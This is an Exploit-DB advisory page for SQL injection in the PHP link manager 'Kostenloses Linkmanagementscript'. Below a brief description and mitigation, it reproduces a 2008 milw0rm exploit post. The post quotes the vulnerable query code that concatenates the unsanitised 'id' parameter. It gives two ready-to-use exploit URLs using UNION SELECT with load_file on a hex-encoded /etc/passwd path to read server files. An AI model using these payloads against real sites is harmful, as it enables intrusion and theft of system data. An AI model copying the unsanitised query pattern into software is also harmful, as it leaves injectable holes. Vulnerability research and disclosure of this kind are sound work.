Kostenloses Linkmanagementscript SQL Injection Vulnerabilities

vendor:

Kostenloses Linkmanagementscript

by:

virangar security team(hadihadi)

8.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Kostenloses Linkmanagementscript

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Kostenloses Linkmanagementscript SQL Injection Vulnerabilities

The vulnerability exists due to insufficient sanitization of user-supplied input passed via the 'id' parameter to 'top_view.php' and 'view.php' scripts. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. Successful exploitation may allow execution of arbitrary SQL commands, disclosure of sensitive information, etc.

Mitigation:

Input validation should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

  #######################################################################################
  #                                                                                     #
  # ...::::Kostenloses Linkmanagementscript SQL Injection Vulnerabilities ::::...       #          
  #######################################################################################

Virangar Security Team

www.virangar.net

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal)
-----

-------vuln codes in:-----------
top_view.php:
line 3:$id = $_GET['id'];
..
..
ine 19:$voting_page_command_sql = "SELECT votings, worth FROM ".$tab_links." WHERE id = '".$id."'";
*********
view.php:
line 8:$id = $_GET['id'];
line 9:$view_page_command_sql = "SELECT url, hits FROM ".$tab_links." WHERE id = '".$id."'";
---
exploits:
http://site.com/[patch]/view.php?id='/**/union/**/select/**/now(),load_file(0x2f6574632f706173737764)/**/from/**/mysql.user/*
http://site.com/[patch]/top_view.php?id='/**/union/**/select/**/now(),load_file(0x2f6574632f706173737764)/**/from/**/mysql.user/*
---
young iranian h4ck3rz

# milw0rm.com [2008-05-15]